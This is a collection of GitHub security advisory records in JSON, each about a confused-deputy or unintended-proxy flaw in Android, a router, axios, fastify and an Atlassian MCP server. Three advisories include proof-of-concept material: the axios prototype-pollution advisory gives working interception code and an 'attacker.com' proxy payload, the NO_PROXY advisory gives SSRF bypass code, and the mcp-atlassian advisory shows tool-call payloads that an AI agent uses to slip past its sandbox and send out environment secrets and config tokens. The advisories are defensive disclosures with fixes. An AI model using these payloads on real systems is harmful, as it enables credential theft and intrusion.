{
  "affected": [],
  "aliases": [
    "CVE-2025-32317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-05T17:15:34Z",
    "severity": "MODERATE"
  },
  "details": "In App Widget, there is a possible Information Disclosure due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-2pqr-5864-6fgw",
  "modified": "2025-09-05T18:31:25Z",
  "published": "2025-09-05T18:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32317"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/android-16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-36608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T18:16:21Z",
    "severity": "HIGH"
  },
  "details": "Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 allows UPnP AddPortMapping to forward external ports to the router\u0027s own admin interface by accepting its own IP (192.168.1.1) or localhost (127.0.0.1) as InternalClient. An unauthenticated LAN attacker can expose the admin panel to the internet with a single SOAP request.",
  "id": "GHSA-2q23-65hh-rjx9",
  "modified": "2026-06-03T21:30:29Z",
  "published": "2026-06-03T18:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tymbark7372/MERCUSYS-AC12G/blob/master/advisories/CVE-2026-36608.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/reply-from"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T00:38:57Z",
    "nvd_published_at": "2025-12-01T23:15:54Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBy crafting a malicious URL, an attacker could access routes that are not allowed, even though the `reply.from` is defined for specific routes in `@fastify/reply-from`.\n\n### Details\n\nAn attacker can bypass the route defined by the `@fastify/reply-from` package by adding a `..` symbol, which, for `curl` version `8.7.1`, is `%2e%2e`.\n\n### Impact\n\nEveryone is using this package with the routes option to protect a 3rd-party resource.",
  "id": "GHSA-2q7r-29rg-6m5h",
  "modified": "2025-12-02T00:38:57Z",
  "published": "2025-12-02T00:38:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-2q7r-29rg-6m5h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66415"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-reply-from/commit/4d9795cd5b57a36756d37b7f036eae369f69fa66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-reply-from"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fastify-reply-from affected by bypass of reply forwarding"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:34:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA critical Confused Deputy (Arbitrary File Read \u0026 Exfiltration) vulnerability in the Atlassian MCP server (Python) allows an AI agent to exfiltrate sensitive host files and environment secrets. By providing absolute system paths to the attachments parameter of the update_issue tool, an agent can force the privileged MCP process to read and upload any file it has access to\u2014including its own environment variables and host configuration\u2014directly to a Jira ticket.\n\n### Details\nThe vulnerability is located in the update_issue tool handler. The attachments parameter accepts a list of file paths that are passed directly to the Jira API\u0027s upload method without any sanitization or validation. \n\nSpecifically, the implementation fails to:\n1.\u00a0 Restrict paths to a safe workspace: It accepts absolute paths starting with /.\n2.\u00a0 Prevent directory traversal: It does not filter for ../ sequences.\n3.\u00a0 Validate ownership: It allows the process to read system-level files (like /proc/self/environ) that the calling agent is normally forbidden from accessing due to sandbox restrictions.\n\nBecause the MCP server typically runs with higher privileges than the AI agent (holding the JIRA_API_TOKEN and having wider filesystem access), it acts as a \"Confused Deputy,\" performing exfiltration on behalf of a restricted agent.\n\n### PoC\nTo reproduce the vulnerability in an environment where the agent is sandboxed (e.g., as a restricted Unix user) but the MCP server has host-level access:\n\n1.\u00a0 Exfiltrate MCP Secrets:\n\u00a0\u00a0\u00a0\u00a0The agent calls the update_issue tool with the following payload:\n    {\n      \"issue_key\": \"SECURITY-1\",\n      \"attachments\": [\"/proc/self/environ\"]\n    }\n    \u00a0\u00a0\u00a0\u00a0Result: The MCP server reads its own process environment\u2014containing the JIRA_API_TOKEN and other sensitive keys in plain text\u2014and attaches it to the Jira issue.\n\n2.\u00a0 Exfiltrate Host Configuration:\n\u00a0\u00a0\u00a0\u00a0The agent calls the tool to target global assistant settings:\n    {\n      \"issue_key\": \"SECURITY-1\",\n      \"attachments\": [\"/home/hermes/.hermes/config.yaml\"]\n    }\n    \u00a0\u00a0\u00a0\u00a0Result: The host\u0027s global configuration file (containing tokens for GitLab, Slack, and other services) is successfully exfiltrated to the cloud.\n\n### Impact\n*\u00a0\u00a0 Critical Credential Theft: Immediate exposure of the JIRA_API_TOKEN and any other secrets injected into the MCP server\u0027s environment.\n*\u00a0\u00a0 Arbitrary File Access: Total exfiltration of any data the host user running the MCP server can read (SSH keys, databases, local source code).\n*\u00a0\u00a0 Privilege Escalation \u0026 Lateral Movement: Attackers can move from a restricted AI sandbox to full host-system control by stealing tokens or configuration files.",
  "id": "GHSA-2xj6-xx86-cwwc",
  "modified": "2026-09-22T20:34:52Z",
  "published": "2026-09-22T20:34:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-2xj6-xx86-cwwc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: Arbitrary File Read \u0026 Exfiltration (Confused Deputy) in JIRA update_issue"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T16:04:00Z",
    "nvd_published_at": "2026-06-11T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** \u2014 intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker\u0027s proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** \u2014 the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-441:** Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:\u0027attacker\u0027, port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application\u0027s network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** \u2014 unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` \u2014 `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found \u2192 used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn\u0027t even go through `mergeConfig`\u0027s merge logic \u2014 it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer\u0027s code is completely safe \u2014 no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n  host: \u0027attacker.com\u0027,\n  port: 8080,\n  protocol: \u0027http\u0027,\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer \u2014 no proxy configured\nconst response = await axios.get(\u0027https://api.internal.corp/secrets\u0027, {\n  auth: { username: \u0027svc-account\u0027, password: \u0027prod-key-abc123!\u0027 }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n  options,\n  config.proxy,    // \u2190 traverses prototype chain \u2192 finds polluted proxy\n  protocol + \u0027//\u0027 + parsed.hostname + (parsed.port ? \u0027:\u0027 + parsed.port : \u0027\u0027) + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;    // = { host: \u0027attacker.com\u0027, port: 8080 }\n  // ...\n  if (proxy) {\n    options.hostname = proxy.hostname || proxy.host;  // \u2192 \u0027attacker.com\u0027\n    options.port = proxy.port;                         // \u2192 8080\n    options.path = location;                           // \u2192 full URL as path\n    // ...\n  }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker\u0027s proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy \u2014 the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Attacker\u0027s proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n  intercepted.push({\n    url: req.url,\n    authorization: req.headers.authorization,\n    headers: req.headers,\n  });\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(\u0027{\"hijacked\":true}\u0027);\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n  res.writeHead(200);\n  res.end(\u0027{\"data\":\"real\"}\u0027);\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: \u0027127.0.0.1\u0027, port: proxyPort, protocol: \u0027http\u0027 };\n\n// \"Safe\" request \u2014 goes through attacker\u0027s proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n  auth: { username: \u0027admin\u0027, password: \u0027SuperSecret123!\u0027 }\n});\n\nconsole.log(\u0027Response from:\u0027, resp.data.hijacked ? \u0027ATTACKER PROXY\u0027 : \u0027real server\u0027);\nconsole.log(\u0027Intercepted Authorization:\u0027, intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    Response source: real server\n    response.data: {\"data\":\"from-real-server\"}\n    Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n    Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n    Response source: ATTACKER PROXY!\n    response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker\u0027s proxy:\n    Full URL: http://127.0.0.1:50878/api/secrets\n    Host: 127.0.0.1:50878\n    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n    All headers: {\n      \"accept\": \"application/json, text/plain, */*\",\n      \"user-agent\": \"axios/1.15.0\",\n      \"accept-encoding\": \"gzip, compress, deflate, br\",\n      \"host\": \"127.0.0.1:50878\",\n      \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n      \"connection\": \"keep-alive\"\n    }\n\n[5] Attacker capabilities demonstrated:\n    \u2713 Full URL visible (including internal hostnames)\n    \u2713 Authorization header visible (Base64-encoded credentials)\n    \u2713 Can modify/forge response data\n    \u2713 Affects ALL axios HTTP requests (not just a single instance)\n    \u2713 No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request\u0027s `Authorization` header, cookies, API keys, and request bodies are visible to the attacker\u0027s proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data \u2014 no constraints like `transformResponse`\u0027s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected \u2014 requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = Object.prototype.hasOwnProperty.call(config, \u0027proxy\u0027) ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` \u2014 MITM\n- `config.socketPath` \u2014 Unix socket SSRF\n- `config.transport` \u2014 request hijack\n- `config.lookup` \u2014 DNS hijack\n- `config.beforeRedirect` \u2014 redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` \u2014 agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified \u2014 full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-35jp-ww65-95wh",
  "modified": "2026-06-12T19:25:11Z",
  "published": "2026-05-29T16:04:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-fvcv-3m26-pcqx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:35Z",
    "severity": "HIGH"
  },
  "details": "In isSafeIntent of AccountTypePreferenceLoader.java, there is a possible way to bypass an intent type check due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-385j-v37x-w8hf",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32321"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Settings/+/bb6e84fd04fcc3594750645982f8c667b0cd8c5e"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-05T17:15:35Z",
    "severity": "HIGH"
  },
  "details": "In System UI, there is a possible way to view other users\u0027 images due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-39w9-r58w-59m7",
  "modified": "2025-09-05T18:31:25Z",
  "published": "2025-09-05T18:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32320"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/android-16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-31313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-12T15:16:01Z",
    "severity": "HIGH"
  },
  "details": "An unintended proxy or intermediary in the AMD power management firmware (PMFW) could allow a privileged attacker to send malformed messages to the system management unit (SMU) potentially resulting in arbitrary code execution.",
  "id": "GHSA-3c56-h59m-r49v",
  "modified": "2026-02-12T15:32:48Z",
  "published": "2026-02-12T15:32:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31313"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:32:19Z",
    "nvd_published_at": "2026-04-09T15:16:08Z",
    "severity": "MODERATE"
  },
  "details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n  res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n  res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n  try {\n    await axios.get(url, { timeout: 2000 });\n  } catch {}\n}\n\nsetTimeout(async () =\u003e {\n  console.log(\"\\n[*] Testing http://localhost.:8080/\");\n  await test(\"http://localhost.:8080/\"); // goes through proxy\n\n  console.log(\"\\n[*] Testing http://[::1]:8080/\");\n  await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n  * Force Axios to send local traffic through an attacker-controlled proxy.\n  * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n  * Potentially exfiltrate sensitive responses from internal services via the proxy.\n  \n  \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
  "id": "GHSA-3p68-rc4w-qgx5",
  "modified": "2026-05-08T13:46:43Z",
  "published": "2026-04-09T17:32:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-40111"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-15T23:15:08Z",
    "severity": "HIGH"
  },
  "details": "In setMediaButtonReceiver of MediaSessionRecord.java, there is a possible way to send a pending intent on behalf of system_server due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-3rhh-97v9-2g42",
  "modified": "2024-08-26T21:30:31Z",
  "published": "2024-02-16T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40111"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/55d3d57cbffc838c52d610af14a056dea87b422e"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2023-11-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}